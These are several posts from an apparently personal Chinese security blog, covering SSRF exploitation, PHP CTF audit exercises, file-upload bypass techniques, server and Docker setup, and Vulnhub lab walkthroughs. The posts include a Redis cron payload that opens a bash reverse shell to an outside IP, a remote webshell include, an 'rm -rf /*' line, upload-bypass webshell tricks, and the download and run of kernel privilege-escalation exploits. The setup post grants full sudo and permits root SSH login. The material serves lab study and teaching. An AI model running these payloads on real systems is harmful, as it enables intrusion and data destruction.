    print(rq.text)

Server-Side Request Forgery

Wed, 24 Oct 2018 07:15:41 +0800

0x01 Background

What is SSRF ?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

cURL -> Trick or Treat ?

如果服务器端请求没有用cURL做有效的限制的话，被留下了后门

php
<?php include('https://0akarma.me/7shell.php'); ?>

亦或这样，那不就gg了……

<?php system("rm -rf /*"); ?>

cURL Functions

0x02 Vulnerability Type

gopher 万金油协议

基本协议格式：URL:gopher://<host>:<port>/<gopher-path>

vps 监听 2333 端口

nc -lvp 2333

然后浏览器访问：http://localhost/SSRF/ssrf.php?url=gopher://your_vps_ip:2333/_gopher

root@0aKarmA:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [your_vps_ip] port 2333 [tcp/*] accepted (family 2, sport 52130)
gopher

dict

dict协议，字典服务器协议，A Dictionary Server Protocol
dict是基于查询响应的TCP协议

可以查看相应端口信息

curl -v ‘https://0akarma.me/ssrf.php?url=dict://ip:22/info’  # 查看ssh的banner信息
curl -v ‘https://0akarma.me/ssrf.php?url=dict://ip:6379/info’    # 查看redis相关配置

file

本地文件传输协议，File Protocol。主要用于访问本地计算机中的文件。MSDN File Protocol
基本格式: file:///path

http/https

检测主机是否存活

0x03 Vulnerability Utilization

gopher

Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞，一般内网中会存在 root 权限运行的 Redis 服务，利用 Gopher 协议攻击内网中的 Redis，这无疑可以隔山打牛，直杀内网。
首先了解一下通常攻击 Redis 的命令，然后转化为 Gopher 可用的协议。常见的 exp 是这样的：

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Mysql

结合Gopher系统攻击内网未授权MySQL，并且获取系统shell的方法

FastCGI

反弹shell

Web

可以向内部任意主机的任意端口发送精心构造的数据包{payload}

XSS

web - dctf - web300 - SSRF 和 XSS 的一個例子
 How i converted SSRF TO XSS in jira

协议注入

Exploiting URL Parser in
Trending Programming Languages

0x04 Repair

禁止跳转
过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
禁用不需要的协议，仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
设置URL白名单或者限制内网IP（使用gethostbyname()判断是否为内网IP）
限制请求的端口为http常用的端口，比如 80、443、8080、8090.
统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

0x05 Materials

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

 SSRF_exp
SSRF Bible
Gopherus

PHP-Audit-Labs 复现

Mon, 22 Oct 2018 08:33:08 +0800

Day 1 Wish List

in_array()

(PHP 4, PHP 5, PHP 7)

in_array — 检查数组中是否存在某个值

bool in_array ( mixed $needle（待搜索值） , array $haystack（待搜索的数组） [, bool $strict = FALSE ] )

因为php是弱类型语言，in_array()第三个参数如果没有设置TRUE的话，就不会检查needle和haystack类型是否相同，若不同就会进行强制转换，进而导致绕过，造成任意文件上传。

课后练习--SQL Injection

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>

//config.php
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>

# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

此题包含一个in_array和一个sql报错注入，但是这里的in_array绕过与否，对拿flag没什么影响。

in_array()

这里的白名单是用户的id，1～5，如果id不在白名单内的话，会返回id $id is not in whitelist. 绕过，只需以数字开头，后面随意，即会返回Unknown cloumn '' in 'where clause' 即绕过成功。

updatexml()

由于stop_hack()函数里面过滤了很多关键字，所以很多注入都无法实现，这里我用updatexml()，但是字符串拼接函数也被禁用了，然后又get到了一些新姿势

MAKE_SET(bits,str1,str2,...)

可以按照上图来理解

也可以理解为：

bits的参数会转为二进制，如，1为，0001,倒过来排序，则为1000,将bits后面的字符串str1,str2等，放置在这个倒过来的二进制排序中，取出值为1对应的字符串，则得到welcome；如， 1 | 4 -> 0001 | 0100 = 0101 倒序排列的到 1010 得到 welcome,w3r，还有要注意的就是NULL，不取出，只有二进制为1时才会取出对应字符串。

还可以找到类似的函数：lpad()、reverse()、repeat()、export_set()（lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中，必须至少含有一个特殊字符，否则会漏掉一些数据）。

Resources:

updatexml injection without concat

[红日安全]代码审计Day1 - in_array函数缺陷

Day 2 Twig

Twig模版引擎

Twig 中文文档

这是一个模版语言，相当于把一些冗长的语句简化成模版，本题{{link|escape}}，只是相当于用php内置函数htmlspecialchars去转义字符。

htmlspecialchars

(PHP 4, PHP 5, PHP 7)

htmlspecialchars — 将特殊字符转换为 HTML 实体

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )

filter_var()

filter_var

(PHP 5 >= 5.2.0, PHP 7)

filter_var — 使用特定的过滤器过滤一个变量

mixed filter_var ( mixed $variable（待过滤变量） [, int $filter（过滤类型） = FILTER_DEFAULT [, mixed $options ]] )

这题用js伪协议好像绕过不了～

课后练习--SSRF

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

本题要构造以sec-redclub.com结尾，而且还要绕过filter_var，但是绕过之后，执行命令发现没有反应～～不晓得什么情况～

Resources：

SSRF技巧之如何绕过filter_var( )

浅谈CTF中命令执行与绕过的小技巧

Arbitrary File Upload

Sun, 21 Oct 2018 10:07:03 +0800

0x00 上传检测流程概述

0x01 客户端检测绕过（js检测）

<script type="text/javascript">
       function checkFile() {
            var file = document.getElementsByName('upfile')[0].value;
            if (file == null || file == "") {
                alert("你还没有选择任何文件，不能上传!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //alert(ext_name);
            //alert(ext_name + "|");
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name + "|") == -1) {
                var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" +     ext_name;
                alert(errMsg);
                return false;
            }
        }
</script>

绕过姿势：burp抓包修改后提交

0x02 服务端检测绕过

mime类型检测(content-type)

文件头content-type字段检验。MIME类型格式

<?php
if($_FILE['userfile']['type'] != "image/gif"){ //检测content-type
    echo "sorry,we only allow uploading GIF images";
    exit;
}
else
{
    echo "Upload success!";
}
?>

绕过姿势：burp抓包，改content-type的值为image/gif，即可

目录路径检测

上传的数据包中，如果存在path(或者其他名称)等能够操作上传路径的参数，修改该参数配合解析漏洞Get Webshell,测试代码
条件：php版本5.3.4以下；gpc关闭

<?php
error_reporting(0);

if(isset($_POST['upload']))
{
    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        //这里的$_REQUEST['jieduan']造成可以利用截断上传
        $targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
            date('YmdHis').".".$file_ext;
        if(move_uploaded_file($tempFile,$targePath))
        {
            echo '上传成功'.'<br>';
            echo '路径'.$targePath;
        }
        else
        {
            echo("上传失败");
        }
    }
else
{
    echo("上传失败");
}
}
?>

文件拓展名检测

<?php
$type = array("php","php3");
//判断上传文件类型
$fileext = fileext($_FILE['file']['name']);
if(!in_array($fileext,$type)){
    echo "upload success!";
}
else{
    echo "sorry";
}
?>

上传后文件名没有发生改变，还时常可以结合目录路径攻击，比如filename="test.asp/evil.jpg" 之类
绕过姿势：

配合Apache的.htaccess文件上传解析漏洞
将下面代码保存成*.htaccess文件，由于该配置文件一般不在黑名单内，所以可以成功上传。此文件可以让.jpg的文件以.php格式解析，达到可执行的效果

AddType application/x-httpd-php .jpg

Apache站上的解析缺陷绕过上传漏洞
Apache是从后面开始检查后缀名，按最后一个合法后缀执行，只需要将木马的后缀修改为允许上传的类型，即可成功绕过
IIS6.0站上的目录路径检测解析绕过上传漏洞
文件名大小写绕过黑名单检测
名单列表绕过
特殊文件名绕过test.asp（windows）
0X00截断

检测文件内容(配合文件包含)

这种情况，一般是做了过滤，只校验文件后缀名为asp/php/jsp的文件内容。
绕过姿势：先上传内容为木马的.txt文件，然后上传一个带有include()的正常php文件，即可绕过。

利用php特性(数组绕过)

file_put_contents 第二个参数可以是数组，而且正则匹配无法匹配数组，可以达到绕过的目的
file_put_contents()

检测文件头

不同的图片文件都有不同文件头，如：
PNG：文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG：文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF：文件头标识 (6 bytes) 47 49 46 38 39(37) 61
PHP使用getimagesize函数验证图片文件头
绕过姿势：可以选择用010editor改文件头，也可以在恶意脚本之前直接加文件头，如

GIF89a
<?php phpinfo(); ?>

上传到服务端后验证(竞争上传)

Web中的条件竞争漏洞

0x03 各种CMS的上传漏洞

0x04 各种(富)文本编辑器上传漏洞

0x05 各种Waf

0x06 总结

条件：寻找一个上传点，查看上传点是否可用。
利用：
首先判断是程序员自己写的上传点，还是编辑器的上传功能
如果是编辑器上传功能，goolge当前编辑器的漏洞

如果是程序员写的上传点
上传一个正常的jpg图片查看上传点是否可用
上传一个正常的jpg图片，burp拦截，修改后缀为php (可以检测前端验证 MIME检测文件内容检测后缀检测）
上传一个正常的jpg图片，burp拦截， 00截断 1.php%00.jpg
判断服务器是什么类型，web服务器程序，是什么类型，版本号多少
利用解析漏洞

0x07 防护建议

使用白名单限制可以上传的文件扩展（白名单比黑名单可靠多了）
验证文件内容，使用正则匹配恶意代码限制上传
对上传后的文件统一随机命名，不允许用户控制扩展名
修复服务器可能存在的解析漏洞
严格限制可以修改服务器配置的文件上传如：.htaccess
隐藏上传文件路径
升级Web Server
及时修复Web上传代码（重要）
不能有本地文件包含漏洞
注意0x00截断攻击
上传文件的存储目录禁用执行权限

0x08 参考资料

如何在vps上搭建Hexo博客

Fri, 12 Oct 2018 01:25:26 +0800

前言

最近一直在玩docker，所以博客自然也是在docker下搭的～本来想用dockerfile，但是后来发现手动设置的东西太多了，就懒得自动化了，还是老老实实手动配置好了～～

辛酸史

结合了很多大佬的教程，自己总结出重（踩）要（坑）的地方……

如果是用docker搭，首先run的时候要开启容器防火墙，加上参数--privileged=true即可。

还有最好运行一下初始化命令

yum install initscripts.x86_64

0x01 建立裸库

mkdir /var/repo
git init --bare /var/repo/akkayin.github.io.git

0x02 建立网站文件夹

mkdir /var/www/
mkdir /var/www/blog # 放置博客文件
mkdir /var/www/akkayin.github.io

0x03 修改nginx配置文件

rm /etc/nginx/conf.d/default.conf # 删除默认配置文件
vi web.conf
# 复制下面代码进conf配置文件中，root指向放置博客的目录，server_name填自己的域名
server {
        listen 80;
        root /var/www/blog;
        index index.html index.htm index.nginx-debian.html;
        server_name blog.0akarma.me;
        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }
        location ~* ^.+\.(css|js|txt|xml|swf|wav)$ {
                root /var/www/blog;
                access_log   off;
                expires      10m;
        }
        location ~* ^.+\.(ico|gif|jpg|jpeg|png)$ {
                root /var/www/blog;
                access_log   off;
                expires      1d;
        }
}

# 最后还可以检查一下配置是否正确
nginx -t 
# 重启nginx
nginx -s reload

0x04 配置git钩子

vim /var/repo/akkayin.github.io.git/hooks/post-receive

# 将下面的两行代码粘贴进post-receive文件中，前面的是博客目录，后面是仓库目录
#!/bin/sh
git --work-tree=/var/www/blog --git-dir=/var/repo/akkayin.github.io.git checkout -f

# 保存之后，执行下面命令
chmod +x /var/repo/akkayin.github.io.git/hooks/post-receive

0x05 创建git用户

useradd -d /home/git -m git
chmod 740 /etc/sudoers
vim /etc/sudoers
# 在 root All=(ALL) ALL 后面追加
git     ALL=(ALL)       ALL
# 保存退出后
chmod 400 /etc/sudoers

sudo chown git:git /var/www/blog
sudo chown -R git:git /var/repo/akkayin.github.io.git

0x06 设置ssh-key

# 生成ssh-key
ssh-keygen -t rsa -f ~/.ssh/id_rsa_vps -C "yourmail@xxx.com" # 本机执行
cat ~/.ssh/id_rsa_vps.pub # 复制本机的公钥到服务器的authorized_keys中
vi ~/.ssh/authorized_keys

# 设置验证 （⬇️本机执行）
vim ~/.ssh/config
# 将下面5行复制进config中
# two
Host yourIp
HostName yourIp 
User git
IdentityFile ~/.ssh/id_rsa_vps

# 配置ssh设置 （⬇️服务器执行）
vim /etc/ssh/sshd_config
# 复制下面5行
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      .ssh/authorized_keys
PermitRootLogin yes # 允许 root 用户 SSH 登陆
PasswordAuthentication yes # 禁用密码登陆

# 设置权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

# 重启服务 
service sshd restart
# 尝试手动ssh看看配置是否正常
# 如果出现connection refused，检查防火墙端口，以及是否安装sshd
ssh -v git@yourIp -p yourPort

0x07 更改博客配置文件_config.yml

deploy:
- type: git
  repo: https://github.com/akkayin/akkayin.github.io-.git # github仓库
  branch: master

- type: git
  repo: ssh://git@yourIp:yourPort/var/repo/akkayin.github.io-.git # 裸库目录
  branch: master                            
  message:

0x08 修改git权限

vi /etc/passwd

git:x:1003:1003:,,,:/home/git:/bin/bash # 将⬅️改成⬇️，只需复制/home后面的即可
git:x:1003:1003:,,,:/home/git:/usr/bin/git-shell #这样git就只能使用git-shell而不能使用bash。

Reference

使用 VPS 让 Hexo 博客快的飞起

hexo博客同时部署到github和VPS上

CentOS SSH提示：connect to host centos-py port 22: Connection refused

docker 容器防火墙设置

Docker建站——从入门到“放弃”

Thu, 04 Oct 2018 01:11:16 +0800

0x01 preface

想着学校服务器网络一直没弄好，小组业务线可能还要搬家几次，而且前段时间不想在物理机搭php开发环境的时候，就是拿docker复现的开发环境，用起来很舒服，但是都是一个一个容器的玩，没有很深入的去了解。最近在本地搭php审计环境的时候，又没找到好的“phpstudy”，所以又去遨游了两天的docker海洋。

0x02 docker

再次验证一句话：学一样东西最快的方法，就是实战！！

项目目录结构如下（有删减）

KarmA ~/Downloads/docker-d0g3 # tree -d
.
├── d0g3-blog   # 博客
│   ├── conf.d
│   └── copy
├── d0g3-home   # 主页
│   ├── conf.d
│   └── copy
├── d0g3-major  # nginx代理服务器
│   ├── conf.d
│   └── copy
├── d0g3-php    # php环境
├── d0g3-skills # 技能树
│   ├── conf.d
│   └── copy
└── letsencrypt # ssl证书

dockerfile

几乎每个目录里面都有各自的dockerfile，用来定制每个container里面的一些不同的参数/变量……

FROM nginx  # 引入那个镜像源

ENV WEB_SITE www.d0g3.cn # 定义环境变量

RUN mkdir -p /etc/nginx/${WEB_SITE} # 运行的命令

COPY ./nginx.conf /etc/nginx/nginx.conf 

LABEL description="SSL & D0g3-Home" \   # 标签
      maintainer="0aKarmA <karma@d0g3.cn>"

EXPOSE 80   #开放80端口
EXPOSE 443  # 开放443端口
CMD nginx -g 'daemon off;'  # 使用nginx的前台运行模式

如何编写最佳的Dockerfile

docker-compose

version: '2'
services:
  # 基本环境
  mysql:
    container_name: "d0g3-mysql"
    image: mysql:5.7
    restart: always
    volumes:
      - "$PWD/20181001blog_d0g3_cn.sql:/docker-entrypoint-initdb.d/dump.sql" # 导入数据库文件
    depends_on: # 依赖关系，先安装php环境，再到mysql
      - php
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ${MYSQL_DATABASE}
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    networks:
      - d0g3_net

  # 主要容器
  php:
    container_name: "d0g3-php" # 自定义容器名
    # build 该置顶目录下的dockerfile
    build: ./d0g3-php
    # image指定build Dockerfile生成镜像的名称
    image: php:7.0-fpm-mysqli
    expose:
        - 9000 # expose的端口是不会映射到宿主机上的
    environment: # 设定mysql的环境变量
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    volumes: # 挂载文件，类似于vmware上的共享文件夹
        - "$PWD/d0g3-blog/copy:/var/www/html"
    networks: # 容器间的网络设置
      - d0g3_net

  d0g3-blog:
    container_name: "d0g3-blog"
    image: nginx
    build: ./d0g3-blog
    command: nginx -g 'daemon off;'
    restart: always
    # 数据卷
    volumes:
      - "$PWD/letsencrypt:/etc/letsencrypt/live/0u0.ooo/"
      - "$PWD/d0g3-blog/conf.d:/etc/nginx/conf.d"
      - "$PWD/d0g3-blog/nginx.conf:/etc/nginx/nginx.conf"
      - "$PWD/d0g3-blog/copy:/usr/share/nginx/html"
    depends_on:
      - mysql
      - php
    expose:
      - 80
    environment:
      MYSQL_USER: ${MYSQL_USER}
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    networks:
      - d0g3_net

  d0g3-major:
    container_name: "d0g3-major"
    image: nginx
    build: ./d0g3-major
    command: nginx -g 'daemon off;'
    restart: always
    # 数据卷
    volumes:
      - "$PWD/nginx.conf:/etc/nginx/nginx.conf"
      - "$PWD/letsencrypt:/etc/letsencrypt/live/0u0.ooo/"
      - "$PWD/d0g3-major/conf.d:/etc/nginx/conf.d"
      - "$PWD/d0g3-major/copy:/usr/share/nginx/html"
    links:
      - d0g3-home
      - d0g3-blog
      - d0g3-skills
    networks:
      - d0g3_net
    ports:
      - "80:80" # ports的端口，会映射到宿主机上，如果没有指定映射到宿主机哪一个，就会随机分配
      - "443:443"
    networks:
      - d0g3_net

networks:
    # 配置docker network
    d0g3_net:
        driver: bridge

一文掌握Docker Compose

0x03 nginx

nginx真是个好东西～～

基本知识

X-Forwarded-For的一些理解

http协议属性整理

nginx 403 Forbidden 排错记录

跨域

跨域情况如下表

CORS跨域与Nginx反向代理跨域优劣对比

CORS跨域

CORS是一个W3C标准，全称是跨域资源共享(Cross-origin resource sharing)。它允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。

简单来说就是跨域的目标服务器要返回一系列的Headers，通过这些Headers来控制是否同意跨域。跨域资源共享(CORS)也是未来的跨域问题的标准解决方案。

Nginx 通过 CORS 实现跨域

nginx反向代理跨域

原理就是将两个跨域资源，通过反代，代到同一域下，就可以解决跨域问题。

但是对于我这次遇到的情况，这种方法不管用，因为是协议不同导致的跨域。

nginx反向代理跨域基本配置与常见误区

用 Nginx 反向代理机制解决前端跨域问题

使用Nginx反向代理处理前后端跨域访问

用 nginx proxy_pass 绕过跨域请求的问题

反向代理

Nginx基本功能极速入门

nginx反向代理相关配置（一）

Docker中配置Nginx多域名配置多个应用

轻松实现nginx代理https转http

反代后静态资源404:

解决Nginx反向代理后无法加载静态文件的问题

ngnix配置静态资源404问题

nginx 中配置多个location并解决js/css/jpg/等的加载问题

0x03 Summarization

渐渐的，发现自己爱上了docker！（逃

0x04 Good Materials

申请 Let’s Encrypt 泛域名证书及 Nginx/Apache 证书配置

Vulnhub-GoldenEye:1 通关指南

Mon, 01 Oct 2018 07:45:51 +0800

背景

It's themed after the great James Bond film (and even better n64 game) GoldenEye.

靶机命名来自詹士邦系列的电影——GoldenEye

Difficulty：中等

Goal：得到root权限&找到flag.txt

Hint：有多种方法获得root权限

信息收集

nmap扫一下端口

除了常见的web(80)端口，还有一个smtp(25)端口，其他的55006和55007应该是smtp的加密协议～

80

看源码，发现一段注释

Url decode

既然拿到密码了，那就根据提示去/sev-home/login呗！

账号名:Boris ，密码如上，登陆后

查看源码，发现一个hint

<h1>GoldenEye</h1>
<p>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) </p>
<p>Please email a qualified GNO supervisor to receive the online <b>GoldenEye Operators Training</b> to become an Administrator of the GoldenEye system</p>
<p>Remember, since <b><i>security by obscurity</i></b> is very effective, we have configured our pop3 service to run on a very high non-default port</p>

然后发现，源码最底下藏了俩supervisor的名字

pop3

掏出hydra爆破一下pop3

顺利将密码爆破出来，那就继续走下去，用nc登进去邮箱看看有什么信息可以收集。

SMTP/POP3/IMAP 命令简介

boris

boris的三封邮件，没有什么特别的发现

natalya

natalya的两封邮件

发现了一个新学生的账号，而且root也告诉natalya该如何操作

Severnaya-Station

按照管理员给的提示，把domain加到host中

echo -e "192.168.11.122\tsevernaya-station.com" >> /etc/hosts

然后就直接访问域名，进入http://severnaya-station.com/gnocertdir/即可

一登陆，就有提示说Mr.Doak发了封邮件给Xenia，那就点进去看看呗。

类似于欢迎信的东东，但是发现了Mr.Doak的用户名为doak

那就再尝试一下爆破看看行不行得通

然后登陆进去doak的邮箱

又发现了一个密码

遍历网站的时候，发现一个txt文件

看到一个jpg文件，下载下来，binwalk跑一下，没发现隐写，exif跑一下，发现description里面有一个类似base64的编码，抠出来解下码xWinter1995x! ，这串东东有什么用。。然后在主页无意中看到这个

然后去试了一波admin的密码。。。竟然成功了～～

既然得到了admin的账号，看到了版本号Moodle2.2.3，那就去搜一波exp，发现2.2.3有个rce漏洞，就直接开始动手了。

手动构造rce

把每个链接都点了一遍，然后发现了有一个系统路径的页面

但是要反弹shell之前，需要把拼写检查换成PSpellSHell

默认的GoogleShell是弹不了的。

首先用的是nc反弹，没什么反应。。。

那换一种方法，python，成功了

然后再用如下命令生成TTY，方面后续操作

python -c 'import pty; pty.spawn("/bin/bash")'

虽然靶机介绍里面说要提权，然后找到flag.txt，

但是在我遍历一下web目录时，就可以找到一个xvf7-flag的文件夹，里面藏着flag（野路子）

Metasploit

提权

由于上面两种方法反弹shell后的提权操作一致，所以只写一次了

先用uname -a看看内核，然后去exploit-db搜一下exp。但是发现系统内没有装gcc。

cd /tmp # 进入/tmp目录，方便读写
wget https://www.exploit-db.com/download/37292.c
sed -i 's/gcc/cc/g' 37292.c # 系统内没有gcc,所以只能用cc代替
cc 37292.c -o evil # 编译exp
chmod 700 evil
./evil

然后就是root权限了。

果然结果还是上面遍历目录时发现的那个flag页面。

总结

第一次遇到smtp和pop这样的服务，有点懵逼，一开始卡了很久，还是得一步步去搜，现学现卖
用msf的确让攻击变得更加容易操作，但是自己手动去测试漏洞点，从构造到弹shell，里面考验的东西太多太多
学会了如何在没有gcc下用cc进行编译exp

Vulnhub-Lampiao：1 通关指南

Wed, 22 Aug 2018 10:39:24 +0800

背景

你想继续攻击自己的实验室吗？试试这个全新的易受攻击机器！“Lampião1”。

Goal：得到root权限

Difficulty：easy

Lampião1是一个巴西著名的土匪领袖，flag里面有他的肖像。

信息收集

首先用netdiscover确定靶机ip，再用nmap扫下端口

一开始用下面这条命令是扫不出1898端口的（这也是我一开始卡着不知道怎么往下走的原因）
nmap -A 192.168.88.112
用下面这条才能扫出来
nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.11.131

-n (不用域名解析)； -V (打印版本信息)；-Pn (不检测主机存活)；--reason (显示端口处于带确认状态的原因)；-oN (将标准输出直接写入指定的文件) ；-p- (应该是全部端口都扫一遍)

22是ssh端口，那就先按照惯例，看看80端口吧。

就一个字符画，有个fi duma egud？不晓得什么意思～～

Durpal

既然80端口没有什么收获，那就来1898端口瞧瞧，看到是Drupal，那就先常规思路走一波

Getshell

网上的都是drupal 7.x 利用PHP filter模块去getshell，但是这里登陆模块似乎用不了？因为注册时激活邮件发不出去，没办法激活，所以这条路看来是走不通了。

SSH爆破

这不是一个纯英文的网站，会不会有可能网站里面的英文是密码提示？？可不可以做个字典爆破一波？

Cewl了解一下，

默认文章肯定不会有tips，那就弄另一篇生成个字典看看

# cewl -w dict.txt http://192.168.11.131:1898/?q=node/1

仔细观察，发现还有两个作者（username？？），试试呗～

# echo tiago > usernames.txt
# echo eder >> usernames.txt

爆破工具hydra了解一下……

-t 速度，-e nsr就是把用户名密码换着来爆破

既然搞到账号密码了，赶紧连进去呗。

一个低权限，那就查查内核什么的，看看怎么提权

tiago@lampiao:~$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
tiago@lampiao:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.5 LTS
Release:    14.04
Codename:   trusty

用一个脚本看看现成的exp有哪些

$ wget -q -O /tmp/linux-exploit-suggester.sh https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
$ chmod +x /tmp/linux-exploit-suggester.sh
$ /tmp/linux-exploit-suggester.sh
...
[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

dirtycow走你～

$ wget -q -O /tmp/40847.cpp https://www.exploit-db.com/download/40847.cpp
$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~#

Root权限到手～

root@lampiao:~# cat flag.txt 
9740616875908d91ddcdaa8aea3af366

flag里面这一串是什么鬼～

在80端口的根目录发现一个lampiao.jpg

网页上打不开，scp到本地发现下面这幅图

网页上打不开难道是做过手脚？md5不能解密，那就看看这个图是不是flag

root@lampiao:/var/www/html# md5sum lampiao.jpg 
9740616875908d91ddcdaa8aea3af366  lampiao.jpg

好吧，还真是～著名的Lampião！

总结

条条大路通罗马，套路一定要骚！骚！骚！
ssh爆破中的cewl和hydra工具的使用
提权的基本操作

Vulnhub-LazySysAdmin 通关指南

Wed, 22 Aug 2018 08:54:43 +0800

Goal：得到root权限&找到flag

信息收集

首先用netdiscover确定靶机ip，再用nmap扫下端口

一眼扫过去，发现竟然有Mysql、InspIRCd、Samba还挺有意思嘛！

InspIRCd，是一个UNIX系统和Windows系统的聊天服务器

